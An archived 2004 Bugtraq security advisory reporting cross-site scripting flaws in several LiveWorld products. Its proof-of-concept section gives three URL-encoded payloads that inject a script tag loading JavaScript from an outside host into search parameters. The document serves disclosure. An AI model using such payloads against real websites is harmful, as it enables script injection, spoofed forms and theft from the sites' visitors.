bugtraq - Possible Security Issues In LiveWorld Products

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1093370613_57905@mail.cableone.net>
Date: Tue, 24 Aug 2004 13:20:40 -0500
From: "GulfTech Security" <security@...ftech.org>
To: <bugtraq@...urityfocus.com>
Subject: Possible Security Issues In LiveWorld Products

##########################################################
# GulfTech Security Research	         August, 23rd 2004
##########################################################
# Vendor  : LiveWorld, Inc.
# URL     : http://www.liveworld.com
# Version : Multiple Products
# Risk    : Cross Site Scripting
##########################################################

Description:
LiveWorld provides collaborative services for online meetings, 
customer care, and loyalty marketing. Supporting communication 
between a company and its customers, employees, or partners 
and among those people themselves - our services help corpor-
ations cut costs, increase revenue, and solidify relationships 
with groups critical to their success. LiveWorld products are 
used on major websites such as HBO, eBay, and others.

Cross Site Scripting:
GulfTech Security Research have discovered Cross Site Scripting
issues that are believed to be present in multiple LiveWorld Inc
products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. 
It is also a good possibility that this issue exists in other 
LiveWorld products as they "seem" to share some of the same code. 
If you believe this to be incorrect, or have proof of it being
100% accurate then please let us know. These issues could allow 
for an attacker to run code in the context of a victims browser 
or temporarily deface a website that is running any of the 
affected applications.

Proof Of Concept:
I have done my best to contact LiveWorld, and eBay. As of the
time I am writing this, the holes are not patched, and these
examples work. However this may not be the case when this write
up becomes public. Please note that these URI's are wrapped for
the sake of readability.

http://answercenter.xxxx.com/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21--

http://groups.xxxx.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21--

http://boards.xxx.com/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21--

These examples simply print the GulfTech name to the browser, but
this could just as easily be a spoofed form, or a malicious script.

Edit: I have edited out the real web addresses.

Solution:
LiveWorld Inc was contacted about these issues, but has not yet
responded. Perhaps they will see this advisory and fix the holes :)
Any future fix will likely be posted on their website.

Related Info:
The original advisory can be found at the following location 
http://www.gulftech.org/?node=research&article_id=00044-08232004

Credits:
James Bercegay of the GulfTech Security Research Team